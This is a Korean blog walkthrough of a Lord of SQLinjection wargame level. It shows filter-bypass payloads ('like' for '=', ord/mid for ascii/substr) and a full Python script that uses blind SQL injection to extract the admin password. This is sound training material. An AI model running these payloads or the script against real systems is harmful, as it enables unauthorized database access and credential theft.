이 문제도 앞선 문제들과 비슷한 유형이다. addslashes가 있으니 pw를 일일히 대입해서 blind injection으로 찾아야 하고, 필터링이 뭐가 걸려있는지 필터링들을 우회해야 한다.

먼저 파라미터 no에 해당하는 필터링

1 ) _ . '  등의 특수문자

2) substr, ascii, =  필터링

반면, pw에 해당하는 필터링은 싱글쿼터 뿐인 것 같다. 그러면 우리가 payload를 넣는 부분은 no에 해당할 것 같다.

또! pw와 no는 and 로 연결되어 있다. 우리는 pw와 no 둘다 모른다. 이부분은 false가 될 거고 no에 들어가는 입력값에서 true를 만들어서 우회해야 할 것 같다.

no 파라미터에 number가 임의로 들어갈 것이다. 우린 이 number를 모르니 뒤에 우회구문을 넣어보자

no = 1 or 1=1  했더니 = 때문에 필터링이 된다. ㅠㅠ

no = 1 or 1 like 1  으로 공격했더니 성공했다..  =는 이제 like로 모두 변경해야 한다...

이 부분을 id = admin 으로 설정해야 admin에 해당하는 pw를 찾을 수 있을 것이다. 

no = 1 or id like admin 이렇게 짜면 hello admin으로 인식하지 못한다. like를 쓸 때는 '' 또는 "" 를 이용하여 묶어줘야 한다.

id = admin  → id like "admin" / id like 'admin'  이런 식으로... 단, no에 싱글쿼터가 들어가면 필터링되므로 "" 이용!

payload :   no = 1 or id like "admin"

 

이렇게 payload를 짜서 [false or true] 로 만들었으니 and를 이용하여 [true and true] 구문을 만들어서 blind injection으로 참 거짓 구분하면 될 것 같다!!!

1) 비밀번호 길이 찾기

no = 1 or id like "admin" and length(pw) like ? 

?

이번에는 payload 끝에 주석처리 (#) 가 필요없다.
no는 int형으로 변수값을 받고 있기 때문.. string으로 받을 때만 ' ' 를 이용한다!! (sql 기본 문법)

자동화코드는 다음과 같다.

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "1 or id like \"admin\" and length(pw) like {}".format(len_num) #injection payload
        parmas = {'no': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

* admin을  " "를 이용해서 묶어줘야 하는데..
  python 코드로 넣을 때는 value = "~~" 이때의 " "와 구분해줘야 하기 때문에 앞에 \ 를 붙여준다!

 

2) 패스워드 전체 문자 찾기

no = 1 or id like "admin" and ord(mid(pw,?,1) like ? 

이번 문제는 ascii / substr / substring 모두 필터링되고 있으므로, 이외에 동일한 기능을 하는 함수를 이용하여 우회한다.

기존 사용함수 대체 함수
ascii ord
substr , substring mid
#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
        
            value = "1 or id like \"admin\" and ord(mid(pw,{},1)) like {} ".format(i,j)           #injection payload 
            parmas = {'no':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

 

3) 전체 코드

import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "1 or id like \"admin\" and length(pw) like {}".format(len_num) #injection payload
        parmas = {'no': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num


#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번

            value = "1 or id like \"admin\" and ord(mid(pw,{},1)) like {} ".format(i,j)           #injection payload 
            parmas = {'no':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


#Main
pw_real(pw_len())

실행화면

 

 

solve!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step14. giant 풀이  (0) 2023.06.13
[LOS] step13. BUGBEAR 풀이  (0) 2023.06.13
[LOS] step10. skeleton 풀이  (0) 2023.06.13
[LOS] step.9 VAMPIRE 풀이  (0) 2023.06.13
[LOS] step.8 troll 풀이  (0) 2023.06.13

+ Recent posts